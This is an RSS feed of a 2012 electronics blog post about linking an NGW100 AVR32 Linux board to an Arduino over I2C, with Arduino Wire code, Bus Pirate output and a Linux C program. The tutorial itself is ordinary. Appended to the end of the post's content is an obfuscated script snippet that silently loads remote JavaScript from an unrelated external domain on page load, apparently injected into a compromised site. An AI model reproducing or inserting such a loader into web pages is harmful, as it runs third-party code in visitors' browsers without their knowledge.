<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; I2C</title>
	<atom:link href="http://www.larsen-b.com/tags/i2c/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Connect NGW100 Linux (AVR32) to Arduino with I2C</title>
		<link>http://www.larsen-b.com/Article/398.html</link>
		<comments>http://www.larsen-b.com/Article/398.html#comments</comments>
		<pubDate>Sun, 08 Jan 2012 01:39:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[arduino]]></category>
		<category><![CDATA[I2C]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[openwrt]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=398</guid>
		<description><![CDATA[For a Linux embedded training, I need to find something fun to plug on an AVR32 board. The board used for the training is a NGW100 board. I decided to try to use the I2C bus. I have several I2C &#8230; <a href="http://www.larsen-b.com/Article/398.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>For a Linux embedded training, I need to find something fun to plug on an AVR32 board. The board used for the training is a <a href="http://www.atmel.com/dyn/products/tools_card.asp?tool_id=4102">NGW100</a> board. I decided to try to use the <a href="http://en.wikipedia.org/wiki/I%C2%B2C">I2C</a> bus. I have several I2C stuff on the desk, but nothing really fun and I don&#8217;t want to solder a lot of stuff, and spend a lot of time on this. I decided to use a Arduino board as a I2C slave device and plug this to the NGW100 board.</p>
<p><strong>First step: S</strong>imply use the Arduino IDE and the <a href="http://arduino.cc/en/Reference/Wire">Wire lib</a>. I use an <a href="http://www.seeedstudio.com/blog/tag/seeeduino/">Seeeduino</a> because I need an Arduino that works at 3.3v level. Here the code :</p>
<pre><span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;Wire.h&gt;</span></strong></span>
<strong>void</strong> <span style="color: #2040a0;">setup</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{</strong></span>
  <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">begin</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">4</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>                <span style="color: #444444;">// join i2c bus with address #4</span>
  <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">onReceive</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">receiveEvent</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span> <span style="color: #444444;">// register event</span>
  <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">onRequest</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">requestEvent</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span> <span style="color: #444444;">// register event</span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">begin</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">38400</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>           <span style="color: #444444;">// start serial for output</span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">println</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Boot Ok"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<span style="color: #4444ff;"><strong>}</strong></span>

<strong>void</strong> <span style="color: #2040a0;">loop</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{ </strong></span><span style="color: #2040a0;">delay</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">100</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span><span style="color: #4444ff;"> </span><span style="color: #4444ff;"><strong>}</strong></span>

<strong>void</strong> <span style="color: #2040a0;">receiveEvent</span><span style="color: #4444ff;">(</span><strong>int</strong> <span style="color: #2040a0;">howMany</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{</strong></span>
  <strong>char</strong> <span style="color: #2040a0;">c</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">NULL</span><span style="color: #4444ff;">;</span>
  <strong>while</strong><span style="color: #4444ff;">(</span><span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">available</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">)</span> <span style="color: #444444;">// loop through all</span>
  <span style="color: #4444ff;"><strong>{</strong></span>
    <span style="color: #2040a0;">c</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">receive</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span> <span style="color: #444444;">// receive byte as a character</span>
    <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">print</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">c</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>         <span style="color: #444444;">// print the character</span>
  <span style="color: #4444ff;"><strong>}</strong></span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">println</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">println</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"==="</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<span style="color: #4444ff;"><strong>}</strong></span>

<strong>void</strong> <span style="color: #2040a0;">requestEvent</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{</strong></span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">println</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"read"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
  <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">send</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Hello world from Arduino"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<span style="color: #4444ff;"><strong>}</strong></span></pre>
<p>To test the Arduino I used a <a href="http://dangerousprototypes.com/docs/Bus_Pirate">Bus Pirate</a>, this is quite simple and fun, here a little snipset of my initial test with the BP (note the string are different). The I2C slave is at the 0&#215;4 address (check the setup()).</p>
<pre>Searching I2C address space. Found devices at:
0x08(0x04 W) 0x09(0x04 R) 

Read content from the device, 'ABCD'
I2C&gt;[0x09 rrrrrr]
I2C START BIT
WRITE: 0x09 ACK
READ: 0x41
READ:  ACK 0x42
READ:  ACK 0x43
READ:  ACK 0x44
READ:  ACK 0xFF
READ:  ACK 0xFF
NACK
I2C STOP BIT
I2C&gt;

send content to the device 'ABC'
I2C&gt;[0x08 0x41 0x42 0x43]
I2C START BIT
WRITE: 0x08 ACK
WRITE: 0x41 ACK
WRITE: 0x42 ACK
WRITE: 0x43 ACK
I2C STOP BIT</pre>
<p><strong>Second step: </strong> Plug the Arduino to the NGW100. I used the wrapping technique. Simply connect SDA, SCL, and GND. (NGW100 pinouts : SDA=&gt;9, SCL=&gt;10, GND=&gt;2)</p>
<p><img style="border: 0px initial initial;" title="NGW100-AVR32 to Arduino" src="http://jkx.larsen-b.com/photos/blog/2012_01_05_13_57_32_001.sized.jpg" alt="" width="640" height="480" /></p>
<p>On Linux, load the I2C-GPIO kernel module. On <a href="http://openwrt.org">OpenWRT</a> (used on the NGW100), simply load the <strong>kmod</strong>-<strong>i2c-gpio</strong> package.</p>
<p><strong>Final step:</strong> If everything is Ok, we can now test the communication. I used a small piece of C code to deal with I2C on Linux.</p>
<pre><span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;string.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;stdio.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;stdlib.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;linux/i2c-dev.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;sys/ioctl.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;fcntl.h&gt;</span></strong></span>

<strong>void</strong> <span style="color: #2040a0;">i2c_run</span><span style="color: #4444ff;">(</span><strong>void</strong><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
    <strong>int</strong> <span style="color: #2040a0;">file</span><span style="color: #4444ff;">;</span>
    <strong>char</strong> <span style="color: #2040a0;">filename</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">40</span><span style="color: #4444ff;">]</span><span style="color: #4444ff;">;</span>
    <strong>int</strong> <span style="color: #2040a0;">addr</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">0x4</span><span style="color: #4444ff;">;</span>
    <strong>char</strong> <span style="color: #2040a0;">buf</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">32</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span> <span style="color: #4444ff;"><strong>{</strong></span><span style="color: #ff0000;">0</span><span style="color: #4444ff;"><strong>}</strong></span><span style="color: #4444ff;">;</span>
    <strong>int</strong> <span style="color: #2040a0;">i</span><span style="color: #4444ff;">;</span>

    <span style="color: #2040a0;">sprintf</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">filename</span>,<span style="color: #008000;">"/dev/i2c-0"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">file</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">open</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">filename</span>,<span style="color: #2040a0;">O_RDWR</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">&lt;</span> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
        <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Failed to open the bus."</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
        <span style="color: #2040a0;">exit</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span>

    <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">ioctl</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">file</span>,<span style="color: #2040a0;">I2C_SLAVE</span>,<span style="color: #2040a0;">addr</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">&lt;</span> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
        <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Failed to acquire bus access and/or talk to slave.<span style="color: #77dd77;">\n</span>"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
        <span style="color: #2040a0;">exit</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span>

    <span style="color: #2040a0;">i</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">24</span><span style="color: #4444ff;">;</span>
    // <span style="color: #2040a0;">read</span> <span style="color: #2040a0;">I2C</span>
    <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">read</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">file</span>,<span style="color: #2040a0;">buf</span>,<span style="color: #2040a0;">i</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">!</span><span style="color: #4444ff;">=</span> <span style="color: #2040a0;">i</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
      <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Failed to read from the i2c bus.<span style="color: #77dd77;">\n</span>"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span> <strong>else</strong> <span style="color: #4444ff;"><strong>{</strong></span>
      <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Read %d bytes from I2C: [%s]<span style="color: #77dd77;">\n</span>"</span>,<span style="color: #2040a0;">i</span>,<span style="color: #2040a0;">buf</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span>

    <span style="color: #2040a0;">sprintf</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">buf</span>,<span style="color: #008000;">"IC2 from Linux to Arduino"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #2040a0;">i</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">strlen</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">buf</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">write</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">file</span>,<span style="color: #2040a0;">buf</span>,<span style="color: #2040a0;">i</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">!</span><span style="color: #4444ff;">=</span> <span style="color: #2040a0;">i</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
        <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Failed to write to the i2c bus.<span style="color: #77dd77;">\n</span>"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span> <strong>else</strong> <span style="color: #4444ff;"><strong>{</strong></span>
      <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Sent %d bytes to I2C: [%s]<span style="color: #77dd77;">\n</span>"</span>,<span style="color: #2040a0;">i</span>,<span style="color: #2040a0;">buf</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span>
<span style="color: #4444ff;"><strong>}</strong></span>

<strong>int</strong> <span style="color: #2040a0;">main</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{</strong></span>
  <span style="color: #2040a0;">i2c_run</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
  <strong>return</strong> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">;</span>
<span style="color: #4444ff;"><strong>}</strong></span></pre>
<p>As you can see this code is a bit rude, but works really well : Read the I2C bus, and send a sample string, a proof ? :)</p>
<p><img style="border: 0px initial initial;" title="openWRT I2C" src="http://jkx.larsen-b.com/photos/blog/openWRT_I2C_001.jpg" alt="" width="690" height="440" /></p>
<p>Of course, I used string values but in real life a small protocol shoud be used. Another important thing: I used a NGW100 but you can use the same idea on all Linux embedded board like the Fonera, or anything else.</p>
<p><strong>Update:</strong> Of course you can use the <a href="http://lm-sensors.org/wiki/I2CTools">i2c-tools</a> on Linux to detect your own device. To do that : Grab the i2c-tools source, and cross compile it for the AVR32. (You only have to change the CC path in the Makefile).</p>
<p><strong>/Enjoy small Linux</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/398.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
